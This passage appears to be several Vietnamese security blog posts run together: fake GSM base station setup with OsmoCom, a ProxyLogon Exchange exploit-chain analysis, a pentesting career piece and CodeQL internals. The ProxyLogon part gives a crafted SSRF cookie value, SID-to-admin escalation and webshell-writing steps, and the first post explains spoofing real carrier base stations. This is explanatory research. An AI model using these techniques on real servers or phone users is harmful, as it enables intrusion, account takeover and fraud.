Mấy thứ đồ này hiện tại không được bán ở Việt Nam, và cũng là khó khăn để mua về, cho dù có giấy tờ chứng nhận mục đích sử dụng chính đáng (anh bạn mình bảo thế).

Về phần mềm, theo như tìm hiểu ban đầu của mình thì hiện tại có một số software cho phép giả lập cột sóng như sau:

• OpenBTS: Lần release stable cuối cùng là 6 năm trước

• YateBTS: Vẫn đang được phát triển, chỉ dành riêng cho thiết bị bladeRF

• OsmoCom: Project này khá là lớn và được đầu tư tâm huyết, hỗ trợ nhiều thiết bị (chỉ có điều tốc độ thay đổi của software quá nhanh, nhanh hơn cả tốc độ release Document nên nhiều khi mọi thứ hoạt động không giống trong sách vở)

Và trong thử nghiệm này thì mình sử dụng OsmoCom cho USRP B210,

Ngày xưa muốn sử dụng osmocom thì phải tự build từ source code, nhiều khi lỗi tè le khá là đau đầu.

Bây giờ mọi thứ đã nhẹ nhàng hơn, việc setup chỉ đơn giản là add repo và apt install 😂, có thể tham khảo tại đây: **https://osmocom.org/projects/cellular-infrastructure/wiki/Latest_Builds**

Bộ osmocom có được chia thành nhiều phần nhỏ khác nhau:

• OsmoBSC

• OsmoBTS

• OsmoTRX

• OsmoHLR

• OsmoMSC

• OsmoSIP

• …

Mỗi phần mềm này đóng vai trò tương ứng với tên của nó trong cách hoạt động của mạng GSM, ví dụ như:

• OsmoBSC: Base Station Controller

• OsmoBTS: Base Transceiver Stations

• OsmoHLR: Home Location Register

• …

Mô hình hoạt động trong thực tế của GSM có dạng như sau:

Với lab setup nhỏ nhỏ của mình, chỉ cần sử dụng tới OsmoBSC, OsmoTRX, OsmoHLR, OsmoBTS, OsmoMSC, OsmoSIP.

Và mô hình setup của nó cũng tương ứng với cách hoạt động của GSM trong hình phía trên:

Nếu sử dụng nguyên gốc Config của Osmocom sẽ không thể chạy được (đa số là do lỗi BSC không kết nối được MSC), do đó cần phải custom lại một số config như sau:

• Chỉnh sửa OsmoMSC:

Thay đổi network country code (MCC) và mobile network code (MNC) thành MCC, MNC của nhà mạng thật

Thêm 1 instance của SS7 để sau đó có thể kết nối từ OsmoBSC sang

• Chỉnh sửa OsmoBSC:

Thay đổi MCC, MNC tương tự như config ở OsmoMSC

Sửa đổi band sang GSM900 và CID & LAC cho phù hợp

Thay đổi ARFCN cho phù hợp với GSM900 nếu không sẽ bị lỗi

Thêm config SS7 tương ứng với config bên OsmoMSC

• Chỉnh sửa OsmoHLR

Theo config ban đầu, khi điện thoại kết nối vào mạng giả lập này sẽ cần phải xác thực này nọ và cấp số, để cho phép thuê bao có thể kết nối thẳng vào và cấp số luôn, cần phải thêm config “subscriber-create-on-demand” như hình sau:

Như vậy là mọi thứ đã được setup xong xuôi, mạng giả lập đã sẵn sàng khởi chạy, lần lượt chạy các command sau:

• Chạy OsmoSTP để OsmoBSC có thể giao tiếp với OsmoMSC

sudo systemctl start osmo-stp

• Chạy OsmoHLR

• OsmoMSC

• OsmoBSC

• OsmoTrx

Ở đây mình sử dụng USRP nên sẽ dùng osmo-trx-uhd:

• Và cuối cùng là OsmoBTS

Sau khi chạy OsmoBTS, bên phía terminal của OsmoBSC sẽ báo lại như sau, nghĩa là đang bắt đầu giả lập BTS thành công:

Việc tiếp theo cần làm là kết nối vào cái BTS fake này …

Cái công đoạn kết nối này có thể làm = 2 cách: thủ công hoặc tự động.

Trong thực tế, với các trường hợp nạn nhân nhận được tin nhắn kia là điện thoại tự động kết nối vào các trạm fake này.

Nghe thì hơi vô lý, nhưng thực tế nó là vậy,

Mặc định, các thuê bao của người dùng sẽ sử dụng theo thứ tự 4g -> 3g -> 2g, nếu sóng của mạng này yếu quá sẽ tự tìm sóng thấp hơn và cuối cùng là 2g.

Với 2G, thuê bao sẽ tự động tìm trạm BTS gần nhất và CONNECT vào, bất kể nó là thật hay giả:

PoC by VNPT Security Lab:

.

.

Như vậy là mình đã demo xong về cách mà attacker fake BTS để lừa đảo người dùng trong thời gian vừa rồi.

Đây cũng chỉ là một giả thuyết từ nhà ngoại cảm bảo mật, chưa phải là kết luận cuối cùng của cơ quan chức năng, các bạn có thể đem làm giải trí cũng được ¯_(ツ)_/¯.

Về cách hạn chế vấn đề này, theo như mình biết thì có nhà mạng V* nào đó đã bỏ hẳn 2g, thuê bao sẽ không còn kết nối được vào BTS 2g nào nữa, và cũng bỏ qua được nỗi lo nhận tin nhắn từ BTS giả mạo. Đó cũng là một cách hay để giảm thiểu thiệt hại cho người dùng, theo thông tin ngoài lề có thể trong tương lai các nhà mạng tại VN sẽ tắt 2G tại các thành phố lớn!

Vậy cuối cùng ai phải chịu trách nhiệm ?? ¯_(ツ)_/¯

Ai phải chịu thiệt hại:

• Doanh nghiệp chịu thiệt hại về uy tín

• Người dùng là người cuối cùng bị thiệt hại về tiền của, vật chất

• Nhà mạng bị mang tiếng xấu

• …

Hãy là người thông thái khi sử dụng công nghệ!

Jang of VNPT ISC

Các lỗ hổng bị phát hiện trong đợt tấn công APT này là:

• CVE-2021–26855: Mail Exchange Pre-Auth SSRF

• CVE-2021–26857: Post-Auth Deserialization

• CVE-2021–26858: Post-Auth arbitrary file write

• CVE-2021–27065: Post-Auth arbitrary file write

Khi mới đọc tin này thì mình không có quan tâm gì mấy (nghĩ bụng: chắc nó trừ mình ra), chỉ khi mà người anh xã hội ở một tổ chức X đăng bài phân tích về ảnh hưởng của đợt tấn công này tới tổ chức đó thì mình mới chột dạ và bắt đầu đi tìm hiểu về các lỗ hổng này!

Mình biết là khi publish bài này sẽ gây ảnh hưởng tới nhiều đơn vị và tổ chức chưa (kịp) cập nhật bản vá vì lý do này hay vì lý do nọ,

Tuy nhiên, theo quan niệm của mình, đây cũng có thể là một cách để hối thúc họ vá lỗ hổng, thay vì để phơi ra internet và bị tổ chức APT nào đó cầm PoC thật chiếm quyền điều khiển server trước khi họ kịp nhận ra bị tấn công!

Để không mất thời gian thêm nữa thì mình bắt đầu bài phân tích luôn!

#DIFF PATCH

Như những gì chúng ta đã biết, các entrypoint được sử dụng trong lần này đều có dạng: “/ecp/x.js”. Thứ magic đi sau đó là làm sao mà chỉ với 1 request tới 1 file chưa từng tồn tại trên server lại có thể trigger được SSRF và gửi full request tới server backend.

Để làm rõ điều này hơn, cần phải thực hiện diff bản vá mà MS cung cấp để xem họ đã vá những gì trong lần này!

Trước đó mình chưa từng làm việc với dotNet bao giờ nên cũng mất khá nhiều thời gian để vào việc được.

Phiên bản mà mình chọn để nghiên cứu là Microsoft Exchange Server 2016 CU 18.

Patch cho CVE-2021–26855 có thể down tại đây: https://www.microsoft.com/en-us/download/details.aspx?id=102773

Phiên bản mà mình thực hiện để diff với patch mới nhất là bản patch được release ngay trước đó: 2020 Dec Patch — KB4593465

Bên trong các file update này có chứa các file binary/dll sẽ được patch, hoàn toàn có thể giải nén tất cả ra bằng công cụ nào đó, ở đây mình dùng 7zip:

Các file DLL được giải nén đa phần là được viết = dotNet, do đó ở đây mình sẽ sử dụng dnSpy để decompile TẤT CẢ file dll này ra dạng .cs, và sử dụng cho việc diff sau đó.

Để decompile tất cả file dll này thì chỉ đơn giản là kéo tất cả vào dnSpy cùng 1 lúc, sau đó bôi đen chọn tất cả và chọn “Export to Project” thôi:

Có một lưu ý nho nhỏ là trong setting của dnspy, phần Decompiler, bỏ tick mục “Show tokens, RVA …” để bỏ qua các comment về địa chỉ, RVA … gây khó khăn cho việc diff sau này!

Decompile mất tầm 30p sẽ xong cả 2 bản vá. Tuy nhiên chưa thể diff luôn được, do quá trình decompile sẽ có một số lỗi xảy ra hoặc là một số string mà developer để lại, cần phải dọn dẹp gọn gàng lại một lần nữa trước khi diff, ở đây là một ví dụ:

Quá trình diff cũng khá mất thời gian do có nhiều byte rác vẫn còn lại trong code,

#Spot the bugs (CVE-2021–26855)

Việc phát hiện lỗi bằng diff này dễ hơn nhiều so với các challenge #spotthebugs ở đâu đó trên mạng, sau khi diff một vòng mình phát hiện ra có một vài thay đổi quan trọng tại DLL: Microsoft.Exchange.FrontEndHttpProxy

Tại BEResourceRequestHandler, method ShouldBackendRequestBeAnonymous() được thêm mới:

BEResourceRequestHandler là class sẽ được dùng vào việc handle các request có dạng resource (các file có đuôi .js, .css, …)

Việc xác định class này có thể handler request được hay không dựa vào method BEResourceRequestHandler.CanHandle()

Đầu tiên là sẽ kiểm tra sự tồn tại của một cookie đặc biệt với method GetBEResouceCookie(). Method này sẽ lấy và trả về giá trị cookie “X-BEResource”

Tiếp sau đó, BEResourceRequestHandler.IsResourceRequest() sẽ kiểm tra xem URL request có đuôi dạng các file resource hay không.

Giá trị “X-BEResource” sau đó tiếp tục được truyền vào BackEndServer.FromString() để xác định BackEnd Server cho request này!

BackEndServer.FromString() xử lý cookie X-BEResource như sau

Để thỏa mãn các điều kiện trên thì X-BEResource sẽ có dạng như sau:

X-BEResource=**EXCHANGE2016**~1942062522;

Giá trị này sẽ được dùng tới ngay sau đây,

Tại ProxyRequestHandler.BeginProxyRequest() sẽ gọi tới GetTargetBackEndServerUrl() để xác định uri sắp được forward tới (chức năng đúng như tên của Class luôn). Method GetTargetBackEndServerUrl() có nội dung như sau:

Đọc sơ qua có thể hiểu được nội dung của đoạn này có chức năng xây dựng lại url sẽ forward vào backend.

Trong đó Host của request được xác định bằng BackEndServer.Fqdn, kết hợp với BEResourceRequestHandler phía trên, giá trị BackEndServer.Fqdn này lại có thể control được bằng cookie X-BEResource.

Bằng sự kết hợp ngẫu nhiên đó, lỗ hổng SSRF CVE-2021–26855 ra đời — — — ( ͡° ͜ʖ ͡°).

Để khai thác, cần phải lươn lẹo và chỉnh sửa cookie này một chút, thành dạng như sau:

X-BEResource=EXCHANGE2016**/owa/auth/logon.aspx?a=**~1942062522;

Sau khi được xử lý qua ProxyRequestHandler, url cuối cùng được forward tới Backend có dạng như sau:

(đã hiểu lý do tại sao các PoC lại có dấu “?” hoặc “#” ở cuối url chưa?)

Như vậy là đã có thể gửi request thoải mái tới server Backend mà không bị giới hạn gì cả,

Tuy nhiên chúng ta vẫn còn bỏ quên chưa nhắc tới về vấn đề quan trọng nữa, SSRF thành công mà request này lại còn được Authen với quyền của system nữa chứ! ( ͡° ͜ʖ ͡°).

Việc quyết định request qua proxy có cần authenticate hay không được quyết định tại ProxyRequestHandler.PrepareServerRequest():

Với trường hợp các request được xử lý bởi class BEResourceRequestHandler, luồng chương trình sẽ thực thi vào nhánh else cuối cùng, nghĩa là cho phép Authenticated.

Chính điều đó đã làm cho lỗ hổng SSRF này trở nên đặc biệt hơn, M$ đã sửa sai bằng cách thêm method ShouldBackendRequestBeAnonymous() vào class BEResourceRequestHandler để không cho phép các request này được gửi cred vào backend!

Nói thì hơi lan man, luồng đi của 1 request trên Exchange server có dạng như sau:

Tiếp theo là tới lỗ hổng cho phép ghi file tùy ý CVE-2021–27065

Nghiên cứu đống attack log của các bài phân tích (recommend bài của crowdstrike, ref phía dưới), có thể thấy Attacker sử dụng tính năng ResetOAB trong Exchange admin center để write file:

Để khai thác lỗ hổng này, đầu tiên attacker sẽ cần một tài khoản Admin mail exchange, sau đó sửa param External URL trong Exchange admin > Servers > Virtual Directories

Sau khi đã set tham số “External URL”, việc cuối cùng cần làm là sử dụng tính năng ResetOABVirtualDirectories và nhập path của file cần ghi:

Ngay sau khi thực hiện, file đã được ghi vào đường dẫn đã định sẵn, với nội dung có thể điều khiển tùy ý

Như vậy là đã có thể write shell tùy ý, lỗ hổng này không có gì khó khăn lắm để phát hiện và thực thi.

#Sự kết hợp hoàn hảo

Hiện tại chúng ta đã có

• 1 lỗ hổng SSRF với quyền system

• 1 lỗ hổng ghi file tùy ý (cần quyền admin mail)

Có thể nhiều bạn cũng nghĩ ra, là sẽ kết hợp lỗ hổng SSRF này để truy cập vào entrypoint cho phép ghi shell tùy ý,

.

.

.

Tuy nhiên đời không như mơ,

Không hiểu vì lý do gì mà khi sử dụng bug SSRF để vào vào các entrypoint của Exchange admin thì đều bị xử lý như 1 request Un-Authenticated!

Đoạn này nghĩ thì đơn giản, nhưng mình và đồng nghiệp bị stuck tại đây suốt mấy ngày liền, đành phải đi tìm thêm trợ giúp từ ông anh xã hội — người đã viết bài điều tra về case kia.

Sau một hồi trao đổi chiêu thức qua lại và xem log thì đúng là có vấn đề gì với entrypoint /ecp/proxyLogon.ecp thật!

Với mỗi lần attack, đều có một request tới “/ecp/proxyLogon.ecp”, và sau đó các request tới ECP đều được thực hiện với quyền của user “Administrator@mailbox”.

(Tình cờ một chút, cũng vào ngày hôm đó, anh cam có đăng thông báo về tên của lỗ hổng này là “proxylogon” với website proxylogon.com.)

Dựa vào web.config trong folder “C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp”, có thể xác định được class “Microsoft.Exchange.Management.ControlPanel.ProxyLogonHandler” đang handle các request tới entrypoint /ecp/proxyLogon.ecp:

Nội dung của class này khá đơn giản, có lẽ đây ko phải nơi xử lý chính.

Sau khi “Ctrl + Shift + F” một hồi, phát hiện ra được request được xử lý tại “Microsoft.Exchange.Management.ControlPanel .RbacSettings()“

Đoạn xử lý này có thể hiểu đơn giản như thế này:

B1: Server sẽ lấy phần body của request tạo thành SerializedAccessToken(), sau một hồi ngâm cứu các thứ thì mình đã tạo được phần body thỏa mãn có dạng như sau:

B2: Dựa vào serialized token vừa tạo được, server tiếp tục dùng nó để tạo thành định danh cho request hiện tại:

Và ngoài ra cần thỏa mãn thêm một số tham số đầu vào nữa, nếu thuận lợi thì server sẽ trả về cookie: ASP.NET_SessionId và msExchEcpCanary, dùng để xác thực cho user vừa request!

Có thể hiểu đơn giản hơn như sau:

Đó chính là thứ đặc biệt làm nên dấu ấn của chain attack “proxyLogon” này.

Do bị hạn chế bởi câu chữ nên có thể chưa bộc tả đc hết từng góc cạnh, từng cái hay của chain này.

Bạn đọc nên bắt tay vào debug lại để hiểu rõ hơn cái hay của nó!

.

.

Vậy là đã có được session id và canary, việc cần làm tiếp theo là thay vào request SSRF write file ban đầu để thực thi thôi ¯_(ツ)_/¯

Tuy nhiên vẫn đề vẫn tiếp tục diễn ra:

Với SID mình sử dụng để proxylogon - S-1–5–21–1525789613–2932220202–353317642–3102, đây là SID của một user bình thường, không có quyền gì với Exchange admin cả.

Sau khi quan sát một hồi, mình nhận ra là SID của admin với SID của người dùng thông thường không khác nhau nhiều lắm, chỉ duy nhất có phần ID cuối cùng là có sự khác biệt:

- SID của user john: S-1–5–21–1525789613–2932220202–353317642–**3102**
- SID của admin:     S-1-5-21-1525789613-2932220202-353317642-**500**

Như vậy hoàn toàn có thể sử dụng một SID bất kỳ trong hệ thống để tìm được tài khoản administrator và chiếm quyền qua proxylogon!

Với việc chiếm quyền administrator thành công thì việc write shell tiếp theo không còn là vấn đề gì nữa, do đó mình sẽ không nói thêm nữa về nó:

.

.

Quay trở lại bên trên một chút, ta cần một SID hợp lệ của user bất kỳ trong hệ thống để leo quyền, vậy làm sao để lấy được SID này khi chỉ biết mỗi username?

Để giải quyết vấn đề này, cần phải sử dụng tới các entrypoint: /autodiscover/autodiscover.xml và /mapi/emsmdb

Tính năng tại entrypoint /mapi sẽ trả về SID khi xảy ra lỗi:

Phần input body của request có thể lấy bằng cách sử dụng entrypoint /Autodiscover/autodiscover.xml:

Vậy là đã hoàn thành mảnh ghép cuối cùng cho chain RCE của proxylogon, tóm gọn lại trong một hình như sau:

.

.

PoC video:

PoC payload:

https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1

Trong quá trình debug mới phát hiện ra quá nhiều thứ tinh túy/hay ho tạo nên chain attack này. Bạn đọc nên bắt tay vào làm và debug trực tiếp để thấy cái hay trong đó!

Có thể vì lý do câu chữ nên không thể mô tả lại được hết sự tinh túy/sự trùng hợp may mắn/sự kết hợp hoàn hảo của các mảnh ghép nhỏ để tạo nên chain attack tuyệt vời như vậy!

Respect to “anh Cam” and DevCore!

Cảm ơn đồng nghiệp & người anh xã hội đã giúp mình trong quá trình nghiên cứu!

Cảm ơn các bạn đã đón đọc,

Jang of VNPT ISC

Ref:

• https://github.com/microsoft/CSS-Exchange/issues/102

• https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/

• https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

• https://blog.qualys.com/vulnerabilities-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr

• https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

Không phải vì gia đình không quan tâm, mà là ngành ATTT ở VN hiện tại còn khá là lạ lẫm đối với cộng đồng,

Nhắc tới CNTT thì có thể còn biết là mấy ô hay làm việc với máy tính, còn nhắc tới ATTT thì ít ai có thể biết được thực tế nghề này là làm gì.

Nếu search trên google thì có thể có vài trang blog nói về nghề ATTT, nhưng hầu hết 8/10 kết quả của page 1 google search đều lấy thông tin từ blog của a thaidn và xào nấu lên để thành content mới (ref: https://vnhacker.blogspot.com/2012/05/lam-toan-thong-tin-thi-hoc-gi.html).

Những thông tin đã được đề cập trong blog của a Thái rất đúng, nhưng cần phải có ít nhất một vài hiểu biết nào đó về CNTT/ATTT thì mới có thể hiểu được nội dung trong đó.

Một số thuật ngữ như: sản phẩm, kiểm định, lỗ hổng … nó rất chung chung, và mang ý nghĩa bao hàm.

Thành ra khi mà những người không có khái niệm về chúng đọc sẽ không hiểu được hết và vẫn mơ hồ về ngành ATTT này,

Do vậy, mình viết bài này để cho những người chưa có khái niệm gì về Công nghệ thông tin/An toàn thông tin cũng có thể hiểu được dân bảo mật làm công việc gì và để sinh viên KMA không còn phải bối rối khi được hỏi:

“Cháu học trường mật mã rồi sau ra trường sẽ làm gì?”

.

.

Bài viết này cũng dựa trên một số nội dung chính trong blog của a thaidn, nhưng có một chút thực tế hơn là sẽ được liên hệ trực tiếp với công việc mà mình đang làm tại tổ chức: Trung tâm An toàn thông tin — VNPT IT.

Trung tâm mình được chia thành các phòng nhỏ để dễ dàng hơn trong việc xử lý công việc,

1. Phòng Kiểm thử xâm nhập

Hiện tại mình đang làm việc tại phòng Kiểm thử xâm nhập, TT ATTT — VNPT IT. Nếu đối sánh với blog post của a Thái, thì phòng mình sẽ được xếp vào phần “An toàn sản phẩm”.

• Mục đích hoạt động của phòng

Theo quy trình phát triển sản phẩm tại VNPT, tất cả các sản phẩm từ nhỏ nhất như cái trang web chỉ có mỗi cái chữ “chào mừng” cho tới các “Mega Project” như hệ thống chính phủ điện tử đều phải qua tay của phòng Kiểm thử xâm nhập.

Mục đích là để kiểm tra và tìm ra các lỗ hổng, các nguy cơ tồn tại bên trong sản phẩm đó, giảm thiểu và đảm bảo cho sản phẩm được an toàn nhất có thể. Tránh nguy cơ một ngày đẹp trời nào đó, sản phẩm bị kẻ xấu hack và gây thất thoát dữ liệu và ảnh hưởng tới uy tín của tổ chức.

Hiểu đơn giản, chúng tôi là những hacker “lương thiện”, sẽ đi hack sản phẩm của nhà mình trước khi bị những hacker phe “phản diện” hack được.

Đây là lý do tại sao phòng mình lại có tên là “Kiểm thử xâm nhập” — “Penetration Testing”.

Công việc pentest này dựa rất nhiều vào mindset của người thực hiện, có thể cùng 1 lỗi mà người này không phát hiện nhưng người khác lại thấy, do đó việc đảm bảo an toàn cho các sản phẩm này cũng chỉ mang tính tương đối.

Việc này được giảm thiểu bằng cách cho các thành viên trong nhóm check chéo sản phẩm với nhau, sẽ tìm ra được những sai sót mà người kia để lại, từ đó làm cho số lượng lỗ hổng trong sản phẩm được giảm thiểu đáng kể!

Bên cạnh việc đảm bảo an toàn cho các sản phẩm nội bộ, hiện nay phòng mình cũng làm dịch vụ pentest cho khách, đảm bảo về tính an toàn bảo mật cho các trang web, app, hệ thống của khách hàng.

Ngoài công việc là pentest ra, còn có một nhóm nhỏ chuyên làm về việc nghiên cứu các lỗ hổng 0day, 1day của các nền tảng phổ biến, mà mình cũng đang hoạt động chính ở lĩnh vực này, gọi tạm là các Researcher.

Nếu như những Pentester là thợ săn, thì đội Researcher là những người đi mài rìu, chuẩn bị các vũ khí tốt nhất cho các Pentester.

Những mục tiêu mà nhóm mình nhắm tới đa phần đều là các đối tượng được nhiều người sử dụng, có liên quan tới công việc của nhóm pentest, ví dụ như: Weblogic, Liferay, … Nắm trong tay 1day/0day của các nền tảng này sẽ giúp cho đội Pentest chiếm được nhiều ưu thế hơn trong công việc.

• Sinh viên cần biết những gì để làm Kiểm thử xâm nhập

Công việc kiểm thử xâm nhập khá là kén người, nó là nghề chọn người chứ ko phải người chọn nghề.

👉 Đầu tiên là sự chăm chỉ, thì đương nhiền là ngành nào/nghề nào cũng cần có rồi, ở đây là chăm chỉ ngày đêm học hỏi, cập nhật kiến thức/kỹ thuật mới.

Trong thời đại bùng nổ của thông tin hiện này, các kỹ thuật, lỗ hổng mới thường được cộng đổng chia sẻ và lan tỏa nhanh chóng qua các kênh như: Twitter, Telegram, …

Nhiều khi chỉ cần tắt máy có nửa ngày thôi mà đã bị tối cổ so với thời đại cả chục năm rồi, (¯_( ͡° ͜ʖ ͡°)_/¯ còn 7 năm thì mình ko biết nha).

👉 Tiếp tới là cái mindset, điều này tạo ra sự khác biệt của một pentester, đây là điều thứ hai được xem xét tới khi phòng mình xem xét tuyển dụng ngay từ vị trí thực tập sinh!

Công việc chính của Pentester là đi tìm những sai sót, những lỗ hổng trong sản phẩm, quote lại một câu đã được quote bởi người ae trong phòng mình:

Ví dụ đơn giản như với chức năng mua hàng trong một trang web nào đó, theo tư duy của người dev thì sẽ cho nhập vào số lượng món hàng cần mua để thuận tiện hơn khi mua hàng với số lượng lớn. Người dùng thông thường cũng sẽ nhập vào một số lượng nguyên dương nào đó, đơn hàng sẽ trở thành 69$ * 5 = 345$ chẳng hạn!

Những người có tư duy bất thường sẽ nhập vào một số nguyên âm, từ đó giá trị đơn hàng sẽ trở thành 69$ * (-5) = -345$, không những không mất tiền mà còn được cộng thêm tiền 🤣.

Từ đó cho thấy mindset là thứ rất quan trọng để xác định được có phù hợp với nghiệp pentest được hay không,

Nếu bạn tự cảm thấy mình có tư duy khác người bình thường, có sở thích làm cho sản phẩm/thứ gì đó hoạt động không tuân theo thiết kế ban đầu thì xin chúc mừng, bạn có một tương lai rộng mở với nghiệp pentest! (còn nếu ko thì xin hãy thận trọng!).

👉Vấn đề cũng rất quan trọng cầ n nhắc tới đó là kỹ năng tự học, đây cũng là tiêu chí thứ ba được phòng mình xem xét mỗi khi phòng vấn.

Công việc pentest đã xuất hiện và trở nên thịnh hành trong khoảng thời gian độ 10 năm trở lại đây. Tuy nhiên, vẫn chưa có một giáo trình, lộ trình gì cụ thể để đào tạo từ thực tập sinh cho tới một pentester có thể làm được việc.

Mấy năm trước có nổi lên một số trung tâm gì gì đó, dán mác đào tạo các hacker/pentester chuyên nghiệp, chất lượng thì không biết thực hư ra sao nhưng hiện tại mình chưa gặp bạn nào từng học từ các trung tâm đó ra mà có tiếng tăm gì trong giới tuyển dụng cả (bên lề một chút: mình cũng đang đảm nhiệm công việc tuyển dụng và head hunting cho phòng pentest).

Cứ 10 người mình gặp trong ngành ATTT nói chung và trong nghề Pentest nói riêng thì có tới 11 người đều đi từ quá trình tọc mạch, táy máy hay nghịch ngợm công nghệ để đi được tới công việc như bây giờ. Tất cả đều có khả năng tự học, tự nâng cao kiến thức và chủ động trong công việc.

Ngay như với các bạn thực tập được tuyển vào phòng mình, khâu phỏng vấn ban đầu cũng khá là gắt gao.

Vừa rồi có đợt phỏng vấn 20 bạn svien năm cuối của trường K vào thực tập thì cuối cùng chỉ nhận được đúng một bạn sinh viên vào thực tập, mà về sau hỏi lại thì bạn này lại học trường P =))). (nghĩ cũng tội mà thôi cũng …)

Phòng mình cũng không có một cái lộ trình nào gọi là cụ thể để đào tạo các bạn sinh viên thực tập cả, hầu như những người qua được phỏng vấn đều là các bạn có một cái base gì đó về ATTT/pentest sẵn rồi.

Các bạn thực tập sẽ được giao những task nhỏ để làm và theo dõi, sẽ được chấn chỉnh lại thêm trong suốt quá trình thực tập.

Theo mình, giao việc là cách tốt nhất để học được kiến thức mới.

Bao nhiêu kiến thức đã được dạy ở trường nhưng không có chỗ thực hành, đều trả lại với sách vở hết.

Khi đi làm, được va chạm thực tế thì cùng là một kiến thức đó nhưng nó không được đánh giá bằng điểm số, mà đôi khi còn phải trả giá bằng tiền mặt và uy tín. Không muốn nhớ cũng không được!

👉Vấn đề cuối cùng, cũng như là thứ quan trọng nhất mỗi khi tuyển dụng tại Trung tâm của mình, đó là đạo đức và lòng tin!

Điều đầu tiên được xem xét trước khi ứng viên được gọi tới phỏng vấn kín, đó là xem xét về mặt đạo đức, sự trung thực và trung thành của ứng viên với những tổ chức mà ứng viên đã tham gia trước đó.

Giả sử như trong vòng 6 tháng nhảy tới 3 cái công ty liền thì không ai dám tuyển dụng vào cả.

Hoặc như là sử dụng dữ liệu của công ty để phục vụ cho mục đích tư lợi, đem bán dữ liệu các thứ … Đây là những điều tối kỵ của một pentester!

Bởi trong thực tế, những hệ thống/sản phẩm mà pentester được giao cho đa số là được bên yêu cầu tự nguyện, có bao gồm rất nhiều thông tin nhạy cảm của tổ chức/người dùng trong đó. Trong quá trình pentest, hoàn toàn có thể lấy được hết các thông tin nhạy cảm này, việc sử dụng những thông tin đó như thế nào phụ thuộc hoàn toàn vào đạo đức/nhân cách của người pentest.

Nhiều khi những thông tin đó có thể trị giá lên tới hàng trăm triệu/hàng tỉ đồng, hoặc khiến cho một tổ chức nào đó sụp đổ chỉ với một mẩu nhỏ dữ liệu bị phát tán ra!

Tiếp tới cũng giống như về đạo đức, đó là về sự trung thành:

“Không ai có thể làm tôi hai chủ: vì hoặc nó sẽ ghét người này, và yêu mến người kia, hoặc nó chuộng chủ này, và khinh chủ nọ.”

.

.

Như vậy là mình đã nói qua về nội dung làm việc của những người làm kiểm thử xâm nhập nói riêng, trong ATTT được phân mảnh thành khá nhiều lĩnh vực nhỏ, trong bài viết sau mình sẽ nói thêm về chúng!

Cảm ơn các bạn đã theo dõi!

Jang of VNPT ISC

Tiến hành debug tại bước này để tìm hiểu cách hoạt động của nó,

Để dựng lại môi trường, cần phải copy các file yêu cầu trong folder: “/log/ext/*“ (có thể tìm thấy trong folder database sau khi chạy lệnh create xong):

Cũng cần lưu ý dựng lại các biến môi trường, các biến này có prefix “CODEQL_**”, “SEMMLE*” và “ODASA**”

Sau khi xong xuôi, Debug config trong IntellIJ sẽ có dạng như sau:

#DEBUG

Một lưu ý trước khi debug, cần phải xóa các folder log, src, trap trong folder database, vì Extractor sẽ kiểm tra tồn tại và bỏ qua nó.

Chạy thử Extractor với config vừa set, tại folder database có các file được tạo mới như sau:

Các bạn cũng có thể thấy rõ điểm khác biệt so với database cuối cùng được tạo, tại phần này đã xuất hiện thêm folder “trap”.

Và các file “trap” như trong document có mô tả được đặt trong folder này.

• Với quá trình build db thông thường, các file trap này sẽ được chuyển hóa thành dataset và xóa luôn ngay khi xử lý xong. Có thể thực hiện việc chuyển hóa dataset bằng câu lệnh “codeql dataset”:

Folder trap có cấu trúc như sau:

• Folder classes bao gồm các file trap chứa các thông tin về các member của 1 class, ví dụ như “field, methods, modifier …” :

//Cấu trúc của trap file sẽ được mô tả ngay phía dưới

• Folder bắt đầu với tên có dạng như path của mã nguồn (ở đây là D_\Coding\…), bao gồm các file trap chứa thông tin về các thành phần của 1 file mã nguồn, ví dụ như “expression, method call, …”

Các trap file này đều đã được nén vào file .gz, hoàn toàn có thể giải nén và sử dụng 1 text editor nào đó để đọc nội dung của trap file,

#Trap file

Nội dung của 1 trap file có dạng như sau:

Hoặc xinh đẹp hơn là như vầy:

Các khai báo dạng:

#10016=@”class;TestClass”

Được gọi là khai báo nhãn, thường bắt đầu với ký tự “#”, về ngữ nghĩa, có thể coi nhãn như 1 id trong các hệ quản trị cơ sở dữ liệu.

Mỗi trap file có các khai báo nhãn độc lập, không chung với các nhãn được khai báo của trap file khác!

Xét thêm 1 ví dụ sau:

**#10034**=@”field;**{#10016}**;testInnerInnerClass”

Đây là một khai báo nhãn của field, có link tới nhãn #10016, nhãn này là nhãn đại diện cho class TestClass.

Tiếp sau đó, là dòng khai báo:

**fields**(**#10034**, ”testInnerInnerClass”, **#10035**, **#10016**, **#10034**)

Với các nhãn tương ứng được truyền vào: #10034 (field), #10035 (class inner), #10016 (TestClass), #10034 (field).

Thông tin được khai báo theo thứ tự như vậy, đương nhiên là phải tuân theo 1 nguyên tắc nào đó rồi!

Ở đây, các file trap được xây dựng dựa trên 1 cấu trúc scheme định sẵn, với mỗi loại ngôn ngữ sẽ có các scheme riêng biệt. Với java, có thể tìm thấy scheme tại folder “/codeql/java/”:

Tương ứng với khai báo “fields” phía trên, trong file dbscheme có định nghĩa khai báo này như sau:

Sắp xếp theo đúng thứ tự của dòng khai báo fields được như sau:

Việc khai báo của các đối tượng khác cũng tương tự, hoạt động theo cùng logic như vậy, ví dụ như hasModifier():

Thực ra trong phần này cũng có được đề cập một số private document, được hé mở bởi 1 ông dev tốt bụng, nhưng để giữ lời, mình chưa thể viết rõ hơn trong bài viết nay, mong bạn đọc thông cảm, nguyên văn:

Và nói thêm 1 chút, kiến trúc DB này khá là dị vì nó không phải như dạng SQL ta thường biết,

DB Engine của Semmle được xây dựng dựa trên Datalog, một ngôn ngữ lập trình khai báo logic, thường được sử dụng làm ngôn ngữ truy vấn cho cơ sở dữ liệu suy diễn.

Trong Datalog, dữ liệu không được gọi là record, mà được gọi là fact, mình đã tìm đủ mọi cách nhưng không tìm thấy từ nào diễn tả đúng và đủ nghĩa trong tiếng Việt, mặc dù nó có nghĩa nào đó tương đồng với bản ghi trong SQL!

